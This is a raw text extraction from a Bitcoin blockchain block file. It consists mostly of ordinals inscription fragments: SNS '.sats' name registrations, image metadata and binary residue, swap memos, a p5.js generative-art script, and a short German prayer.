File: blk03446.txt

FjDOUT:236D98EBF220DDE613BCBE2AD701AF65EFB29D5BE1BF74DD9755432B54607D72
text/plain;charset=utf-8
text/plain;charset=utf-8
.Lets go on a date, bills on whoever is shorterh!
text/plain;charset=utf-8
  "name": "f*ck.sats"
text/plain;charset=utf-8
c$7BC}=J)lK22Z``(GKS
text/plain;charset=utf-8
,{"p":"sns","op":"reg","name":"Mr.tree.sats"}h!
text/plain;charset=utf-8
.{"p":"sns","op":"reg","name":"lemontree.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"0905.sats"}h!
((((((((((((((((((((((((((((((((((((((((((((((((((
text/plain;charset=utf-8
  "name": "5412.sats"
text/plain;charset=utf-8
  "name": "lce.sats"
text/plain;charset=utf-8
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"27725.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"PROOF.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"azca.sats"}h!
text/plain;charset=utf-8
&{"p":"sns","op":"reg","name":"B.sats"}h!
text/plain;charset=utf-8
+{"p":"sns","op":"reg","name":"bruzza.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"Kaspa.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"77225.sats"}h!
text/plain;charset=utf-8
  "name": "11011.sats"
text/plain;charset=utf-8
text/plain;charset=utf-8
  "name": "0x88.sats"
text/plain;charset=utf-8
+{"p":"sns","op":"reg","name":"shipin.sats"}h!
-http://ns.adobe.com/xap/1.0/
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.dabacbb, 2021/04/14-00:39:44        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe PhotoshoM
p 23.0 (Windows)" xmpMM:InstanceID="xmp.iid:BC6DC974B23E11ED8B6F85543712B948" xmpMM:DocumentID="xmp.did:BC6DC975B23E11ED8B6F85543712B948"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:BC6DC972B23E11ED8B6F85543712B948" stRef:documentID="xmp.did:BC6DC973B23E11ED8B6F85543712B948"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
)A&&AB///BG?>>?GGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGG
))4&4?((?G?5?GGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGG
text/plain;charset=utf-8
S@vDDDDDDDDDDDDDDDDDDD9
text/plain;charset=utf-8
  "name": "chainalysis.sats"
text/plain;charset=utf-8

%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz

text/plain;charset=utf-8
  "name": "00996.sats"
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
-http://ns.adobe.com/xap/1.0/
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.dabacbb, 2021/04/14-00:39:44        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe PhotoshoM
p 23.0 (Windows)" xmpMM:InstanceID="xmp.iid:BCB6B363B23E11EDABC9E64242DE59F5" xmpMM:DocumentID="xmp.did:BCB6B364B23E11EDABC9E64242DE59F5"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:BCB6B361B23E11EDABC9E64242DE59F5" stRef:documentID="xmp.did:BCB6B362B23E11EDABC9E64242DE59F5"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
)A&&AB///BG?>>?GGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGG
))4&4?((?G?5?GGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGG
(:3=<9387@H\N@DWE78PmQW_bghg>Mqypdx\egc
/cB8Bcccccccccccccccccccccccccccccccccccccccccccccccccc
text/plain;charset=utf-8
d/Foundry USA Pool #dropgold/
text/plain;charset=utf-8
"3 %  % 3-7,),7-Q@88@Q^OJO^qeeq
"3 %  % 3-7,),7-Q@88@Q^OJO^qeeq
((((((((((((((((((((((((((((((((((((((((((((((((((
((((((((((((((((((((((((((((((((((((((((((((((((((
"3 %  % 3-7,),7-Q@88@Q^OJO^qeeq
"3 %  % 3-7,),7-Q@88@Q^OJO^qeeq
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"eaa.sats"}h!
uiCCPkCGColorSpaceDisplayP3
text/plain;charset=utf-8
,{"p":"sns","op":"reg","name":"teawine.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"fomo.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"0418.sats"}h!
text/plain;charset=utf-8
,{"p":"sns","op":"reg","name":"Twitter.sats"}h!
text/plain;charset=utf-8
uiCCPkCGColorSpaceDisplayP3
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"oor.sats"}h!
text/plain;charset=utf-8
.{"p":"sns","op":"reg","name":"Godisdope.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"qun.sats"}h!
text/plain;charset=utf-8
  "name": "berlin.sats"
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"0609.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"0503.sats"}h!
text/plain;charset=utf-8
text/plain;charset=utf-8
+{"p":"sns","op":"reg","name":"Lakers.sats"}h!
text/plain;charset=utf-8
  "name": "1.bitcoin"
KjI=:BNB.BUSD-BD1:bnb1354mdjlaxt9zw85flgnmcvvgfnrqpm4ut28wyu:811167450026::0
text/plain;charset=utf-8
&{"p":"sns","op":"reg","name":"A.sats"}h!
text/plain;charset=utf-8
&{"p":"sns","op":"reg","name":"I.sats"}h!
text/plain;charset=utf-8
&{"p":"sns","op":"reg","name":"K.sats"}h!
text/plain;charset=utf-8
-{"p":"sns","op":"reg","name":"jiankang.sats"}h!
text/plain;charset=utf-8
&{"p":"sns","op":"reg","name":"B.sats"}h!
text/plain;charset=utf-8
,{"p":"sns","op":"reg","name":"1919810.sats"}h!
text/plain;charset=utf-8
&{"p":"sns","op":"reg","name":"G.sats"}h!
text/plain;charset=utf-8
&{"p":"sns","op":"reg","name":"I.sats"}h!
text/plain;charset=utf-8
&{"p":"sns","op":"reg","name":"E.sats"}h!
text/plain;charset=utf-8
&{"p":"sns","op":"reg","name":"J.sats"}h!
text/plain;charset=utf-8
&{"p":"sns","op":"reg","name":"C.sats"}h!
text/plain;charset=utf-8
&{"p":"sns","op":"reg","name":"H.sats"}h!
text/plain;charset=utf-8
&{"p":"sns","op":"reg","name":"D.sats"}h!
text/plain;charset=utf-8
&{"p":"sns","op":"reg","name":"F.sats"}h!
text/plain;charset=utf-8
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"0843.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"kyve.sats"}h!
text/plain;charset=utf-8
-{"p":"sns","op":"reg","name":"celestia.sats"}h!
text/plain;charset=utf-8
+{"p":"sns","op":"reg","name":"100BTC.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"jjkk.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"ggxx.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"ssff.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"kkxx.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"kkll.sats"}h!
text/plain;charset=utf-8
(:3=<9387@H\N@DWE78PmQW_bghg>Mqypdx\egc
/cB8Bcccccccccccccccccccccccccccccccccccccccccccccccccc
text/plain;charset=utf-8
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"33325.sats"}h!
text/html;charset=utf-8
    <meta charset="UTF-8">
    <title>Balance</title>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/p5.js/1.4.0/p5.min.js"></script>
      //Balance() by tzC0de.  Made with p5.js
col1 =  ["#267365", "#F2CB05", "#F29F05", "#F28705", "#F23030", "#14140F"]
col2 = ["#D9042B","#270140","#F2B705","#F28705","#F22F1D"]
col3 = ["#0388A6","#04C4D9","#F29F05","#F28705","#A63F03"]
col4 = ["#F2BF27","#404040","#DB005E","#2FB9D4"]
#D9D7D7","#F25F29","#F24822","#F2B1A2","#0D0D0D"]
col6 = ["#012C40","#00708C","#D9D7D7","#FF404C","#1CA5B8"]
col7 = ["#BF1120","#0468BF","#F2D22E","#F29472","#F21905"]
col8 = ["#FF6B00","#FFA000","#22D6FF","#1F70CC","#1930B8"]
col9 = ["#FFFFFF","#CCCCCC","#999999","#666666","#000000"]
bgcol = ["#161F30","#f2eddc","#f2eddc","#f2eddc"]
	createCanvas(530,830);
	let percent = 30 / 100;
aphics = createGraphics(width, height);
  graphics.stroke(255, 10 / 100 * 255);
  for (i = 0; i < graphics.width * graphics.height * percent; i++) {
    graphics.point(random(graphics.width),
    random(graphics.height));
	v = createGraphics(500,800)
	col = random([col1,col2,col3,col4,col5,col6,col7,col8,col9])
	num2 = random([0,1,2,3,4,5])
	v.translate(v.width/2,v.height/2)
	for(let i = v.height; i > v.width/6; i+= -((h1 / 2 + h2 / 2)+2.6)) {
    h2 = random([800/8,800/10,800/12,800/5,800/6]);
		num = random([1,2,3,4])
	  recty(x1-h1/2,i-h1/2,h1,h1)
		  v.strokeWeight(5)
	    v.ellipse(x1,i,h1,h1)
		  v.strokeWeight(5)
	    v.rect(x1,i,h1,h1)
		  v.strokeWeight(5)
	    v.rect(x1,i+h1/3.3,h1,h1*0.4)
v.ellipse(x1,i-h1/4.7,h1*0.6,h1*0.6)
		  v.strokeWeight(5)
	    v.triangle(x1,i-h1/2,x1+h1/2,i+h1/2,x1-h1/2,i+h1/2)
	image(v,width/2,height/2)
	image(graphics, width/2, height/2);
function recty(x,y,w,h) {
	g = createGraphics(j,l)
	g.background(242, 237, 220,0)
	g.fill(random(col))
			g.fill(random(col))
	    g.ellipse(g.width/2,g.height/2,g.width,g.heiM
			g.fill(random(col))
			g.ellipse(g.width/2,g.height/2,g.width*0.8,g.height*0.8)
			g.fill(random(col))
			g.ellipse(g.width/2,g.height/2,g.width*0.6,g.height*0.6)
			g.fill(random(col))
			g.ellipse(g.width/2,g.height/2,g.width*0.4,g.height*0.4)
			g.fill(random(col))
			g.ellipse(g.width/2,g.height/2,g.width*0.2,g.height*0.2)
		  //g.strokeWeight(5)
	    g.rect(g.width/2,g.height/2,g.width,g.height)
			g.fill(random(col))
dth/2,g.height/2,g.width*0.8,g.height*0.8)
			g.fill(random(col))
			g.rect(g.width/2,g.height/2,g.width*0.6,g.height*0.6)
			g.fill(random(col))
			g.rect(g.width/2,g.height/2,g.width*0.4,g.height*0.4)
			g.fill(random(col))
			g.rect(g.width/2,g.height/2,g.width*0.2,g.height*0.2)
		  //g.rect(x,y,w,h)
		  //g.strokeWeight(5)
			g.fill(random(col))
			g.rect(g.width/2,g.height*0.8,g.width,f)
			g.rect(g.width/2,g.height*0.8,g.width*0.75,f)
			g.fill(random(col))
			g.rect(g.width/2,g.height*0.8,g.width*0.5,f)
			g.fill(random(col))
			g.rect(g.width/2,g.height*0.8,g.width*0.25,f)
			g.fill(random(col))
			g.ellipse(g.width/2,g.height*0.3,l)
			g.fill(random(col))
			g.ellipse(g.width/2,g.height*0.3,l*0.75)
			g.fill(random(col))
			g.ellipse(g.width/2,g.height*0.3,l*0.5)
			g.fill(random(col))
			g.ellipse(g.width/2,g.height*0.3,l*0.25)
		  //g.strokeWeight(5)
			g.fill(random(col))
	    g.triangle(u,p-p,u*2,p*2,u-u,p+p)
			g.fill(random(col))
	    g.triangle(u,p,u*2,p*2,u-u,p+p)
	for(let i = -v.height; i < v.width*2; i += 10) {
		if(bg == "#f2eddc") {
		v.line(i,-v.height,i,v.height)
	for(let i = -v.width; i < v.width; i += 8) {
		for (let j = -v.height; j < v.height; j += 8) {
		  if(bg == "#f2eddc") {
			v.line(i,j,i+5,j+5)
	for (let i = 0; i < 50; i++) {
	  if(bg == "#f2eddc") {
		v.ellipse(0,0,20*i)
	for (let i = 0; i < 50; i++) {
	  if(bg == "#f2eddc") {
	for (let i = -v.width; i < v.width; i+=5) {
		for (let j = -v.height; j < v.height; j+=5) {
	  if(bg == "#f2eddc") {
	var increment = 5;
	for(let j = -v.height; j < v.height; j+=5) {
	for (var i = -v.width; i < v.width; i+=increment) {
		v.vertex(i, j + (sin(k) * (sin(j) * 50)))
function keyTyped() {
  if (key === 's' || key === 'S') {
    saveCanvas('myCanvas', 'png');
pixel art mistic monster
Steps: 50, Sampler: DDIM, CFG scale: 7.5, Seed: 10076463, Size: 512x512, Model hash: 7460a6fa, Batch size: 6, Batch pos: 2, Seed resize from: -1x-1, Denoising strength: 0.6
,+7+Gd5@[09V3St;(*(6Q*
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"23335.sats"}h!
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
((((((((((((((((((((((((((((((((((((((((((((((((((
"3 %  % 3-7,),7-Q@88@Q^OJO^qeeq
"3 %  % 3-7,),7-Q@88@Q^OJO^qeeq
"3 %  % 3-7,),7-Q@88@Q^OJO^qeeq
"3 %  % 3-7,),7-Q@88@Q^OJO^qeeq
((((((((((((((((((((((((((((((((((((((((((((((((((
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"iaa.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"dps.sats"}h!
wwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwv
wwwwwwwwwwwwwwwwwwwwwwmBn
2023-03-02T09:57:38+00:00
2023-03-02T09:57:38+00:00
2023-03-02T09:57:38+00:00
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"sth.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"luck.sats"}h!
uiCCPkCGColorSpaceDisplayP3
"3 %  % 3-7,),7-Q@88@Q^OJO^qeeq
"3 %  % 3-7,),7-Q@88@Q^OJO^qeeq
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"98634.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"98761.sats"}h!
uiCCPkCGColorSpaceDisplayP3
text/plain;charset=utf-8
Vater unser im Himmel, geheiligt werde dein Name.
Dein Wille geschehe, wie im Himmel, so auf Erden.
gliches Brot gib uns heute.
Und vergib uns unsere Schuld, wie auch wir vergeben unsern Schuldigern.
hre uns nicht in Versuchung, sondern erl
Denn dein ist das Reich und die Kraft und die Herrlichkeit in Ewigkeit.
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"0402.sats"}h!
((((((((((((((((((((((((((((((((((((((((((((((((((
uiCCPkCGColorSpaceDisplayP3
iiiiiiiiiiiiiiiiiiii
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"0502.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"NFL.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"Fendi.sats"}h!
((((((((((((((((((((((((((((((((((((((((((((((((((
text/plain;charset=utf-8
text/plain;charset=utf-8
  "name": "0xyang.sats"
uiCCPkCGColorSpaceDisplayP3
uiCCPkCGColorSpaceDisplayP3
&iTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c138 79.159824, 2016/09/14-01:09:01        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTM
ool="Adobe Photoshop CC 2017 (Windows)" xmpMM:InstanceID="xmp.iid:D443A9E6B8B211ED8628C917A383A1EE" xmpMM:DocumentID="xmp.did:D443A9E7B8B211ED8628C917A383A1EE"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:D443A9E4B8B211ED8628C917A383A1EE" stRef:documentID="xmp.did:D443A9E5B8B211ED8628C917A383A1EE"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
text/plain;charset=utf-8
Watch Garth Marenghih!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"pln.sats"}h!
2023-03-02T03:51:16+00:00
2023-03-02T03:51:16+00:00
2023-03-02T03:51:16+00:00
uiCCPkCGColorSpaceDisplayP3
uiCCPkCGColorSpaceDisplayP3
text/plain;charset=utf-8
/{"p":"sns","op":"reg","name":"umutkardes.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"BAYC.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"18686.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"56888.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"7806.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"slide.sats"}h!
6j4ion:2.QmWAen9jovZpxf1Bh8fWFRhydYeb2wwzZ8rfhYjoedZkcU
JjH=:BNB.BUSD-BD1:bnb1j7hgpxcz98w9j4k4d8th98qc5lulagwtyknr5x:47701180390::0
text/plain;charset=utf-8
  "name": "coincompany.sats"
Created with GIMPd.e
text/plain;charset=utf-8
  "name": "cryptotec.sats"
text/plain;charset=utf-8
text/plain;charset=utf-8
-{"p":"sns","op":"reg","name":"
text/plain;charset=utf-8
&{"p":"sns","op":"reg","name":"N.sats"}h!
text/plain;charset=utf-8
&{"p":"sns","op":"reg","name":"O.sats"}h!
text/plain;charset=utf-8
,{"p":"sns","op":"reg","name":"ordmaxi.sats"}h!
text/plain;charset=utf-8
/{"p":"sns","op":"reg","name":"btcnftmaxi.sats"}h!
text/plain;charset=utf-8
&{"p":"sns","op":"reg","name":"M.sats"}h!
text/plain;charset=utf-8
/{"p":"sns","op":"reg","name":"btcmaxinft.sats"}h!
text/plain;charset=utf-8
/{"p":"sns","op":"reg","name":"ordmaxinft.sats"}h!
text/plain;charset=utf-8
1{"p":"sns","op":"reg","name":"
text/plain;charset=utf-8
1{"p":"sns","op":"reg","name":"
Aj?=:ETH.ETH:0xd9D9a5Edf6E98912a2eDaa3286e34bf9ccae6c92:4373507::0
text/plain;charset=utf-8
  name bitkiller.sats
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"95666.sats"}h!
LjJ=:BNB.BUSD-BD1:bnb1jd7h6l57v7euzk84y2sqjqnyf94jv2fxesqrj7:99892633605:te:0
FjDOUT:8C4A5CD7034DD37823DBF786FB5C5DDE507DDC7A01AE4708E22E2D57776AEFCC
FjDOUT:EE53A0231E623EF5CD7C016F42B39A74823919A7F1F55846B5ABE64F924487C7
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"1BTC.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"10BTC.sats"}h!
text/plain;charset=utf-8
+{"p":"sns","op":"reg","name":"999BTC.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"BTC.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"ETH.sats"}h!
text/plain;charset=utf-8
+{"p":"sns","op":"reg","name":"999BTC.sats"}h!
text/plain;charset=utf-8
+{"p":"sns","op":"reg","name":"666BTC.sats"}h!
text/plain;charset=utf-8
+{"p":"sns","op":"reg","name":"888BTC.sats"}h!
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
  "name": "reaper.sats"
text/plain;charset=utf-8
text/plain;charset=utf-8
+{"p":"sns","op":"reg","name":"d
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"ric.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"ale.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"carr.sats"}h!
text/plain;charset=utf-8
+{"p":"sns","op":"reg","name":"glamor.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"lure.sats"}h!
 124894ae63686190d37d78a4fc9b1ffcH0E
FjDOUT:39F4897BE995FEB956EC06DE55F47C106D45C70B848F8118A302CC99D192DDBA
FjDOUT:C894873FB6577E935A06BF108B5C67CC07460EBB8404E967C8D1BF770D6D80F1
"3 %  % 3-7,),7-Q@88@Q^OJO^qeeq
"3 %  % 3-7,),7-Q@88@Q^OJO^qeeq
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
  "name": "01222.sats"
text/plain;charset=utf-8
text/plain;charset=utf-8
  "name": "suv.sats"
text/plain;charset=utf-8
  "name": "cigar.sats"
uiCCPkCGColorSpaceDisplayP3
text/plain;charset=utf-8
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"0414.sats"}h!
text/plain;charset=utf-8
+{"p":"sns","op":"reg","name":"gogogo.sats"}h!
"Powered by Luxor Tech1002
((((((((((((((((((((((((((((((((((((((((((((((((((
"3 %  % 3-7,),7-Q@88@Q^OJO^qeeq
"3 %  % 3-7,),7-Q@88@Q^OJO^qeeq
"3 %  % 3-7,),7-Q@88@Q^OJO^qeeq
"3 %  % 3-7,),7-Q@88@Q^OJO^qeeq
((((((((((((((((((((((((((((((((((((((((((((((((((
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"0602.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"NBA.sats"}h!
text/plain;charset=utf-8
.{"p":"sns","op":"reg","name":"Buythedip.sats"}h!
text/plain;charset=utf-8
.{"p":"sns","op":"reg","name":"Cordontan.sats"}h!
"3 %  % 3-7,),7-Q@88@Q^OJO^qeeq
"3 %  % 3-7,),7-Q@88@Q^OJO^qeeq
text/plain;charset=utf-8
+{"p":"sns","op":"reg","name":"Bitmex.sats"}h!
text/plain;charset=utf-8
/{"p":"sns","op":"reg","name":"Elsalvador.sats"}h!
text/plain;charset=utf-8
.{"p":"sns","op":"reg","name":"StarDawgs.sats"}h!
((((((((((((((((((((((((((((((((((((((((((((((((((
text/plain;charset=utf-8
,{"p":"sns","op":"reg","name":"gonglin.sats"}h!
text/plain;charset=utf-8
Le{"p":"sns","op":"reg","name":"000000000019d6689c085ae165831e934ff763ae46a2a6c172b3f1b60a8ce26f.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"blues.sats"}h!
text/plain;charset=utf-8
.{"p":"sns","op":"reg","name":"appletree.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"Meta.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"China.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"Pepsi.sats"}h!
text/plain;charset=utf-8
-{"p":"sns","op":"reg","name":"Facebook.sats"}h!
"3 %  % 3-7,),7-Q@88@Q^OJO^qeeq
"3 %  % 3-7,),7-Q@88@Q^OJO^qeeq
uiCCPkCGColorSpaceDisplayP3
text/plain;charset=utf-8
  "name": "1:1.sats"
333333333333333333333-
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"stong.sats"}h!
UUUUUUUUUUUUUUUUUUUUU7
UUUUUUUUUUUUUUUUUUUUUUT
DDDDDDDDDDDDDDDDDDDDDDD
MUUUUUUUUUUUUUUUUUUUUUUUT
=UUUUUUUUUUUUUUUUUUUUUUUT
=UUUUUUUUUUUUUUUUUUUUUUUT
Swwwwwwwwwwwwwwwwwwwwwwww
33333333333333333333333*
3333333333333333333333332v
fffffffffffffffffffffffff
UUUUUUUUUUUUUUUUUUUUUUUUT
"3 %  % 3-7,),7-Q@88@Q^OJO^qeeq
"3 %  % 3-7,),7-Q@88@Q^OJO^qeeq
uiCCPkCGColorSpaceDisplayP3
text/plain;charset=utf-8
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"USA.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"CNN.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"0709.sats"}h!
text/plain;charset=utf-8
-{"p":"sns","op":"reg","name":"Football.sats"}h!
text/plain;charset=utf-8
,{"p":"sns","op":"reg","name":"otograf.sats"}h!
text/plain;charset=utf-8
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"ola.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"0508.sats"}h!
Adobe Photoshop 23.5 (Macintosh)
cropWhenPrintingbool
http://ns.adobe.com/xap/1.0/
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmetM
a xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.2-c000 79.dee3a7703, 2022/08/18-16:50:30        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreateDaM
te="2021-12-07T16:38:26-05:00" xmp:MetadataDate="2023-03-02T01:28:12-05:00" xmp:ModifyDate="2023-03-02T01:28:12-05:00" dc:format="image/jpeg" photoshop:ColorMode="3" photoshop:ICCProfile="Display" xmpMM:InstanceID="xmp.iid:eb208ad4-57da-4929-8993-7d5ad0a99e09" xmpMM:DocumentID="adobe:docid:photoshop:759ff94f-7b88-e041-acdb-fb5cf76978a8" xmpMM:OriginalDocumentID="xmp.did:7dac3f98-6c78-4b14-9b66-926a2876c766"> <xmpMM:History> <rdf:Seq> <rdf:li stEvt:action="saved" stEvt:instanceID="xmp.iid:7dac3f98-6c78-4b14-9b66-926M
a2876c766" stEvt:when="2023-03-02T01:28:12-05:00" stEvt:softwareAgent="Adobe Photoshop 23.5 (Macintosh)" stEvt:changed="/"/> <rdf:li stEvt:action="converted" stEvt:parameters="from image/png to image/jpeg"/> <rdf:li stEvt:action="derived" stEvt:parameters="converted from image/png to image/jpeg"/> <rdf:li stEvt:action="saved" stEvt:instanceID="xmp.iid:eb208ad4-57da-4929-8993-7d5ad0a99e09" stEvt:when="2023-03-02T01:28:12-05:00" stEvt:softwareAgent="Adobe Photoshop 23.5 (Macintosh)" stEvt:changed="/"/> </rdf:Seq> </xM
mpMM:History> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:7dac3f98-6c78-4b14-9b66-926a2876c766" stRef:documentID="xmp.did:7dac3f98-6c78-4b14-9b66-926a2876c766" stRef:originalDocumentID="xmp.did:7dac3f98-6c78-4b14-9b66-926a2876c766"/> </rdf:Description> </rdf:RDF> </x:xmpmeta>                                                                                                                                                                                                                                                   M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                      <?xpacket end="w"?>
Copyright Apple Inc., 2021
) * +",$-&.'/,0013263:4?5E6I7I8F9F:F;C<A=<>:?M
`|arbicadZeTfQgNhKiKjHk;l.m!n
text/plain;charset=utf-8
2{"p":"sns","op":"reg","name":"SiliconValley.sats"}h!
text/plain;charset=utf-8
-{"p":"sns","op":"reg","name":"Clintons.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"Dubai.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"0807.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"osx.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"Jews.sats"}h!
uiCCPkCGColorSpaceDisplayP3
iTXtXML:com.adobe.xmp
